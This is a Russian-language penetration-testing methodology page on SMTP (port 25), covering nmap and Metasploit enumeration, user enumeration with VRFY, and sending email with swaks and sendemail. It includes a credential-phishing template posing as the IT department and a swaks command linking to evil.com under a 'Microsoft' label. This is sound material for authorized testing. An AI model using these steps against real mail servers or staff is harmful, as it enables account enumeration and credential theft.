Перейти к основному содержимому

25 — SMTP

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

  1. Убедитесь, что целевой сервис и порт входят в согласованный scope.
  2. Выполните перечисление: версия, баннеры, доступные команды и скрипты.
  3. Проверьте типовые слабости и сценарии из раздела, документируя каждый шаг.
  4. Команды в блоках кода используйте без перевода синтаксиса.

Методика

Перечисление и разведка

sudo nmap -p25 --script="smtp* and not brute" <TARGET>
use auxiliary/scanner/smtp/smtp_version

User enumeration

[nc -nC <TARGET> <PORT>] | [telnet <TARGET> <PORT>] | [openssl s_client -starttls smtp -connect <TARGET>:587]
EHLO localhost
VRFY root
252 2.0.0 root
VRFY idontexist
550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table
auxiliary/scanner/smtp/smtp_enum

Writing emails

mail from: <username@company.com>
rcpt to: <victim1@company.com>, <victim2@company.com>
data
Subject: Not a phishing email

Hello,

Please access this website with your work credentials...

The IT department

.
swaks --to <EMAIL_1>,<EMAIL_2> --from <EMAIL_3> --server <SMTP_IP> [--auth LOGIN --auth-user "<USER>" --auth-password "<PASSWORD>"] [--add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html"] --header "Subject: <Subject>" --body "<a href='https://evil.com'>Microsoft</a>" [ --attach <FILE_PATH>]

sendemail -t <EMAIL_1> -f <EMAIL_2> -s <SMTP_IP> -u "<subject>" -m "<Message>" [-a <FILE_PATH>]

Ссылки